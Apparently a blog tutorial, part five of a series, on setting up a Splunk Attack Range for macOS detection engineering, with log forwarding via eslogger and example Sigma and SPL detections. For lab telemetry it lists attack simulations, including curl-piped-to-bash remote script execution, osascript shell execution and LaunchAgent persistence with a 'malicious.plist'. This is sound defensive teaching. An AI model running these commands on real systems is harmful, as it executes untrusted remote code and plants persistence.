Building a macOS Detection Engineering Lab — Part 5: Splunk Attack Range & Detection Workflow
The final piece: somewhere to send your logs and build detections. We'll set up a Splunk Attack Range, connect your macOS VM, and walk through the detection development workflow.
Setting Up Splunk Attack Range
Option A: Ludus Attack Range (Recommended)
If you’re running Proxmox with Ludus, deploying a full Attack Range is a few commands. (Upstream Splunk Attack Range is oriented around cloud/Docker these days — Ludus is the practical local/Proxmox path.)
# Add the Splunk Attack Range roles
ludus ansible roles add p4t12ick.ludus_ar_splunk
ludus ansible roles add p4t12ick.ludus_ar_windows
ludus ansible roles add p4t12ick.ludus_ar_linux
# Add and build Ubuntu 22.04 template (if not already built)
git clone --depth 1 https://gitlab.com/badsectorlabs/ludus.git /tmp/ludus
ludus templates add -d /tmp/ludus/templates/ubuntu-22.04-x64-server
ludus templates build -n ubuntu-22.04-x64-server-template
ludus templates build -n win2022-server-x64-template
Create range config (splunk-attack-range.yml):
ludus:
- vm_name: "{{ range_id }}-ar-splunk"
hostname: "{{ range_id }}-ar-splunk"
template: ubuntu-22.04-x64-server-template
vlan: 20
ip_last_octet: 1
ram_gb: 16
cpus: 8
linux: true
roles:
- p4t12ick.ludus_ar_splunk
- vm_name: "{{ range_id }}-ar-windows"
hostname: "{{ range_id }}-ar-windows"
template: win2022-server-x64-template
vlan: 20
ip_last_octet: 3
ram_gb: 8
cpus: 4
windows:
sysprep: false
roles:
- p4t12ick.ludus_ar_windows
role_vars:
ludus_ar_windows_splunk_ip: "10.2.20.1"
- vm_name: "{{ range_id }}-ar-linux"
hostname: "{{ range_id }}-ar-linux"
template: ubuntu-22.04-x64-server-template
vlan: 20
ip_last_octet: 2
ram_gb: 8
cpus: 4
linux: true
roles:
- p4t12ick.ludus_ar_linux
role_vars:
ludus_ar_linux_splunk_ip: "10.2.20.1"
Deploy:
ludus range config set -f splunk-attack-range.yml
ludus range deploy
# Monitor deployment
ludus range logs -f
Access: http://10.2.20.1:8000 (admin / changeme123!)
What you get:
- Splunk Enterprise with pre-configured indexes
- Windows endpoint with Sysmon + Splunk UF
- Linux endpoint with auditd + Splunk UF
Option B: Standalone Splunk (Docker)
For a quick standalone instance:
docker run -d --name splunk \
-p 8000:8000 -p 9997:9997 -p 8088:8088 \
-e SPLUNK_START_ARGS='--accept-license' \
-e SPLUNK_PASSWORD='changeme123!' \
splunk/splunk:latest
Access at http://localhost:8000.
Shipping macOS Logs to Splunk
Option A: Splunk Universal Forwarder
Install the forwarder on your macOS VM:
# Download from splunk.com and install
hdiutil attach splunkforwarder-*.dmg
sudo installer -pkg /Volumes/splunkforwarder/splunkforwarder-*.pkg -target /
Configure outputs (/opt/splunkforwarder/etc/system/local/outputs.conf):
[tcpout]
defaultGroup = attack_range
[tcpout:attack_range]
server = 10.2.20.1:9997
Configure inputs (/opt/splunkforwarder/etc/system/local/inputs.conf):
[monitor:///var/log/esf_events.json]
sourcetype = macos:esf
index = main
# Classic /var/log/system.log is often sparse/absent on modern macOS (unified logging).
# Prefer ESF JSON above; add unified log exports or other files only if you actually have them.
Start the forwarder:
sudo /opt/splunkforwarder/bin/splunk start --accept-license
sudo /opt/splunkforwarder/bin/splunk enable boot-start
Option B: HTTP Event Collector
For a lighter approach without installing the full forwarder:
- Enable HEC in Splunk (Settings → Data Inputs → HTTP Event Collector)
- Create a token
- Ship events with a script:
#!/bin/bash
SPLUNK_HEC="https://10.2.20.1:8088/services/collector"
HEC_TOKEN="your-token-here"
sudo eslogger exec write create rename --format json | while read line; do
curl -sk "$SPLUNK_HEC" \
-H "Authorization: Splunk $HEC_TOKEN" \
-d "{\"event\": $line, \"sourcetype\": \"macos:esf\"}"
done
Detection Development Workflow
Now for the actual detection engineering.
1. Generate Attack Telemetry
Run macOS-specific attacks using:
Atomic Red Team:
# Install
git clone https://github.com/redcanaryco/atomic-red-team.git
# There is no single ./T1059.004.sh — tests live in the technique markdown/YAML.
# Example (T1059.004 Test #2 — curl|bash), from the atomics docs:
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
# Or drive tests with Invoke-AtomicRedTeam / atomic-operator against atomics/T1059.004/
Manual simulation:
# osascript executing shell commands
osascript -e 'do shell script "whoami"'
# Curl downloading and executing
curl http://example.com/script.sh | bash
# Python one-liner
python3 -c 'import os; os.system("id")'
# Launch agent persistence
cp malicious.plist ~/Library/LaunchAgents/
launchctl load ~/Library/LaunchAgents/malicious.plist
2. Find Events in Splunk
eslogger emits numeric event_type values and nests the executed binary under event.exec.target (the top-level process is often xpcproxy). Adjust field names after you spath a sample event from your lab.
index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9
| table _time event.exec.target.executable.path event.exec.args process.executable.path
Filter for interesting activity:
index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9
(event.exec.target.executable.path="*osascript*" OR event.exec.target.executable.path="*curl*")
| table _time event.exec.target.executable.path event.exec.args process.executable.path
3. Build a Detection
Sigma rule (illustrative — map fields to your pipeline):
title: Suspicious osascript Shell Execution
status: experimental
description: Detects osascript being used to execute shell commands
logsource:
product: macos
service: esf
detection:
selection:
event_type: 9
event.exec.target.executable.path|endswith: '/osascript'
filter_args:
event.exec.args|contains:
- 'do shell script'
condition: selection and filter_args
level: medium
tags:
- attack.execution
- attack.t1059.002
Splunk SPL:
index=main sourcetype=macos:esf
| spath input=_raw
| search event_type=9 event.exec.target.executable.path="*/osascript"
| where match('event.exec.args', "do shell script")
| table _time event.exec.target.executable.path event.exec.args process.executable.path
4. Validate and Iterate
- Run the attack again — Does the detection fire?
- Check false positives — Run normal workflows, any noise?
- Tune the logic — Adjust as needed
- Document — Write up the detection with context
Sample Detections to Build
Get started with these macOS techniques:
| Technique | What to Detect |
|---|---|
| T1059.002 | osascript executing shell commands |
| T1059.004 | Curl/wget piped to bash |
| T1547.011 | Launch Agent/Daemon creation |
| T1543.001 | New LaunchDaemon persistence |
| T1564.001 | Hidden files/directories created |
| T1555.001 | Keychain access attempts |
| T1056.002 | Suspicious Input Capture |
| T1070.004 | File deletion in sensitive paths |
Conclusion
You now have a complete macOS detection engineering lab:
- ✅ macOS VM — Safe environment for attacks
- ✅ ESF telemetry — Rich, structured event data via eslogger
- ✅ Splunk Attack Range — Log analysis and detection development
- ✅ Workflow — Generate → Find → Detect → Validate
macOS detection engineering doesn’t have to be a black box. The tooling is finally catching up to what Windows has had for years.
Time to put it to use.
Resources
macOS Virtualization:
macOS Telemetry:
Lab Infrastructure:
Detection Content: